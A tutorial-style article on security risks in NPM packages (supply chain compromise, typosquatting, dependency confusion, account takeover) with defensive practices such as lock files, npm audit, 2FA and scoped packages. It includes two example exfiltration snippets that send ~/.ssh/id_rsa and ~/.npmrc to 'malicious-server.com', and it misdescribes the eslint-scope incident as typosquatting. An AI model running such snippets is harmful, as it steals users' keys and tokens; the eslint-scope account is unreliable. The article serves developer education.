Table of contents
- The hidden cyber security risks in NPM
- How NPM became a target for cyber attacks
- Common cyber threats in NPM packages
- How to secure your NPM dependencies
- Use scoped packages and private registries
- The future of NPM security
The hidden cyber security risks in NPM
In recent years, NPM (Node Package Manager) has become an essential tool for JavaScript developers, allowing them to integrate thousands of open-source libraries into their projects effortlessly.
However, this convenience comes with significant cyber security risks. Attackers exploit vulnerabilities in open-source dependencies to inject malicious code, steal sensitive data, or disrupt entire applications.
This article explores the security risks associated with NPM packages, real-world attacks, and best practices to protect your applications from supply chain threats.
How NPM became a target for cyber attacks
NPM is the largest package repository for JavaScript and is widely used in front-end and back-end development. The open-source nature of NPM makes it highly valuable but also vulnerable to abuse.
One major issue is the dependency chain—many NPM packages rely on other packages, creating a complex network of dependencies. If a single package in this chain is compromised, thousands of projects may be affected.
Several factors contribute to NPM’s security weaknesses:
- Low maintenance
Many open-source packages are managed by individuals who may not have the time to keep them secure.
- Lack of code auditing
Developers often install packages without reviewing their source code.
- Malicious package uploads
Attackers publish seemingly harmless packages that contain hidden malware.
- Hijacked accounts
If an NPM maintainer’s credentials are stolen, attackers can inject malicious updates into popular packages.
Real-world NPM cyber attacks
Several high-profile cyber attacks have exploited NPM security flaws, demonstrating how dangerous these risks can be.
- The Colors and Faker Incident (2022)
In January 2022, the developer of two widely used NPM libraries, colors.js and faker.js, intentionally sabotaged them, causing infinite loops in applications worldwide. While this wasn’t a malware attack, it exposed the trust issues within the NPM ecosystem. - The UAParser.js Malware Attack (2021)
Hackers compromised the UAParser.js package, injecting trojans that could steal credentials and install crypto-mining malware on infected systems. This package was widely used, affecting a large number of applications. - The Event-Stream Attack (2018)
A hacker gained control of the event-stream package by offering to help maintain it. Once they had access, they introduced a malicious dependency designed to steal Bitcoin wallets. - The ESLint Typosquatting Attack (2018)
Cybercriminals uploaded fake packages with names similar to popular NPM modules (e.g., eslint-scope instead of eslint). These malicious packages stole NPM authentication tokens and could be used for further attacks.
Common cyber threats in NPM packages
Hackers exploit various NPM vulnerabilities to compromise applications, steal data, or execute malicious code on users’ systems. The most common methods include supply chain attacks, typosquatting, dependency confusion, and credential theft. This section explores these threats with real-world examples and code snippets.
Supply chain attacks
A supply chain attack occurs when a hacker compromises an open-source package used by thousands of projects.
By injecting malicious code into a trusted dependency, an attacker can steal credentials, install malware, or gain remote control over infected systems.
Real-world example: the event-stream attack (2018)
In 2018, the popular event-stream package (with millions of downloads) was compromised. A new “maintainer” added a dependency called flatmap-stream, which contained hidden code designed to steal Bitcoin wallet credentials.
Example: malicious code in a compromised package
A compromised package might include code to exfiltrate users’ sensitive data:
js
const fs = require('fs');
const https = require('https');
const sensitiveData = fs.readFileSync('/home/user/.ssh/id_rsa', 'utf8');
https.request({
hostname: 'malicious-server.com',
path: '/upload',
method: 'POST',
headers: { 'Content-Type': 'text/plain' }
}, (res) => {}).write(sensitiveData);
If this code is executed within a compromised dependency, the user’s SSH private key is sent to an attacker’s server, allowing unauthorized access.
How to protect yourself
- Lock dependency versions in package-lock.json;
- Avoid automatic updates (npm ci instead of npm install);
- Use security tools like npm audit or Snyk.
Typosquatting attacks
Typosquatting involves creating packages with names similar to legitimate ones, hoping that developers accidentally install them.
Example
An attacker might publish expresss (with an extra ‘s’) to mimic express.
Real-world example: eslint-scope attack (2018)
In 2018, a hacker uploaded eslint-scope (instead of @eslint/escope), which stole developers’ NPM authentication tokens.
Example of a typosquatting
An attacker creates a malicious package named lodashs (instead of lodash) and publishes it to NPM:
sh
npm publish --access public
If a developer mistakenly installs it:
sh
npm install lodashs
It could execute malicious code, such as:
js
console.log('Stealing credentials...');
require('child_process').execSync('curl -X POST -d @~/.npmrc http://malicious-server.com');
How to protect yourself
- Double-check package names before installation;
- Use npm audit to detect suspicious packages;
- Prefer signed and verified maintainers.
Dependency confusion attacks
Companies often use internal packages with generic names like utils or helpers. If a hacker publishes a public package with the same name, NPM might download the malicious version instead of the internal one.
Real-world example: Apple, Microsoft, and Tesla (2021)
In 2021, security researcher Alex Birsan demonstrated how he could upload public packages with internal package names used by Apple, Microsoft, and Tesla, tricking NPM into installing them instead of the private ones.
Example of a dependency confusion
A company uses an internal package called internal-logger. A hacker publishes a public package with the same name:
sh
CopiaModifica
npm publish --access public
If the company's package.json contains:
json
"dependencies": {
"internal-logger": "^1.0.0"
}
and the company has not properly configured its private registry, NPM might install the attacker’s version from the public registry.
How to protect yourself
- Use scoped packages (@company/package);
- Set up a private registry using npm config set registry;
- Check package sources with npm ls
Credential theft and account takeover
If a hacker steals a maintainer’s credentials, they can publish malicious updates to widely used packages. This is extremely dangerous because users download and install malicious updates without knowing it.
Real-world example: UAParser.js compromise (2021)
In 2021, hackers gained access to the UAParser.js maintainer’s NPM account and published a compromised versioncontaining malware that stole credentials.
Example of an account takeover
If an attacker gains control of a maintainer’s account, they can publish a malicious update:
sh
npm login
npm publish --tag latest
How to protect yourself
- Enable two-factor authentication (2FA) on NPM;
- Check maintainers with npm owner ls package-name;
- Monitor changes with npm audit and security tools like Snyk.

How to secure your NPM dependencies
To reduce cyber security risks, developers must adopt best practices for managing NPM dependencies. Attacks like typosquatting, dependency confusion, and package hijacking have demonstrated how important it is to handle JavaScript dependencies securely.
In this section, we will explore the best strategies to protect Node.js projects, with real-world examples and code snippets.
Use lock files and checksums
Lock files (package-lock.json or yarn.lock) ensure that the same dependency versions are installed every time, preventing unwanted updates that might introduce vulnerabilities.
Additionally, checksums verify that downloaded packages have not been tampered with.
Example of a lock file (package-lock.json)
When you install a package using NPM, a package-lock.json file is generated automatically, specifying the exact versions of dependencies to be used:
json
CopiaModifica
{
"name": "secure-project",
"version": "1.0.0",
"dependencies": {
"express": {
"version": "4.18.2",
"resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
"integrity": "sha512-abc123..."
}
}
}
The “integrity” field contains a cryptographic hash of the package. If the package’s content changes, the hash will no longer match, preventing the installation of a compromised version.
Verifying checksums
To ensure that dependencies are installed exactly as specified in the lock file, use NPM ci instead of npm install:
sh
npm ci
This command guarantees that only the versions defined in package-lock.json are installed, reducing the risk of supply chain attacks.
Check the reputation of package maintainers
Installing packages from trusted maintainers is crucial to avoid introducing malicious dependencies. Before installing a package, perform these checks:
Review GitHub activity
- Is the package regularly updated?
- Are there unresolved security issues?
Check NPM downloads and stars
- A package with very few downloads or outdated code might be abandoned.
Verify authors and contributors
- A sudden change in maintainers without explanation may indicate a supply chain attack.
Example: checking a package’s GitHub and NPM info
To check the GitHub repository for a package, run:
sh
npm repo package-name
For example, to check express:
sh
npm repo express
On GitHub, review the Issues and Pull Requests sections for unresolved security problems.
To analyze the number of downloads on NPM, run:
sh
npm info package-name
For lodash, for example:
sh
npm info lodash | grep downloads
If the download count has dropped significantly or if there have been sudden ownership changes, it could be a red flag.
Monitor dependencies for vulnerabilities
To detect security vulnerabilities in installed packages, use automated tools that analyze dependencies and suggest fixes.
Run npm audit to find security issues
The npm audit command scans project dependencies and reports security issues:
sh
npm audit
Example output:
css
found 2 vulnerabilities (1 moderate, 1 high)
run `npm audit fix` to fix them, or `npm audit fix --force` to force updates
To automatically fix vulnerabilities, use:
sh
npm audit fix
To update only vulnerable packages without modifying other dependencies:
sh
npm update --save
Use advanced security monitoring tools
Snyk: Scans for vulnerabilities in real time. Install it with:
sh
npm install -g snyk
snyk test
- Dependabot
A GitHub-integrated tool that automatically creates pull requests to update vulnerable dependencies.
Enable Two-Factor Authentication (2FA)
Compromised NPM accounts can be used to publish malicious versions of popular packages. To protect your account, enable two-factor authentication (2FA).
How to enable 2FA on NPM
- Log in to npmjs.com;
- Go to Settings > Account Security;
- Enable Two-Factor Authentication;
- Choose between Authorization only (protects logins) or Authorization and publishing (full protection).
To check if a package is published by an account with 2FA enabled, use:
sh
npm owner ls package-name
If the package owner does not have 2FA enabled, consider whether it is safe to use the package.
Use scoped packages and private registries
Scoped packages are a solution to avoid dependency confusion attacks. They create a specific namespace for your organization, reducing the risk of packages with the same name being confused between internal and external repositories.
To create a scoped package:
sh
npm init --scope=@my-organization
Example of installing a scoped package:
sh
npm install @my-organization/my-package
Using a private registry
Companies can secure their dependencies by using a private NPM registry, such as Verdaccio or Artifactory, instead of relying on the public NPM registry.
Example of configuring a private registry:
sh
npm set registry https://registry.my-company.com
To reset to the default registry:
sh
npm set registry https://registry.npmjs.org/
The future of NPM security
As the JavaScript ecosystem grows, the security challenges of NPM will continue to evolve. Organizations like the OpenJS Foundation and GitHub (which owns NPM) are working to enhance supply chain security through initiatives like automated vulnerability scanning and signed package verification.
However, developers must also take responsibility by practicing secure coding, carefully managing dependencies, and staying informed about the latest cyber security threats.
Questions and answers
- What is an NPM supply chain attack?
An NPM supply chain attack occurs when malicious code is introduced into an NPM package, affecting all applications that use it. - How do typosquatting attacks work in NPM?
Attackers create malicious packages with names similar to popular NPM modules, hoping developers will mistakenly install them. - How can I check if an NPM package is safe?
Use tools like NPM Audit, Snyk, and VirusTotal to scan for vulnerabilities before installing a package. - What happened in the event-stream attack?
A hacker took over the event-stream package and injected code to steal Bitcoin wallets, impacting thousands of applications. - How do I prevent dependency confusion attacks?
Use scoped packages and configure private NPM registries to prevent attackers from replacing internal dependencieswith public ones. - Can NPM automatically detect vulnerabilities?
Yes, NPM Audit scans for known security vulnerabilities in installed dependencies and suggests fixes. - Why is enabling 2FA on NPM accounts important?
Two-factor authentication (2FA) protects NPM maintainers’ accounts from hijacking, preventing attackers from injecting malicious updates. - What tools help secure NPM dependencies?
Security tools like Snyk, Dependabot, and npm audit help detect and fix vulnerabilities in NPM packages. - Are all open-source NPM packages safe?
No, many open-source dependencies have security vulnerabilities due to poor maintenance or lack of code reviews. - How does GitHub help secure NPM?
Since acquiring NPM, GitHub has introduced security scanning, dependency alerts, and package signature verification to enhance NPM security.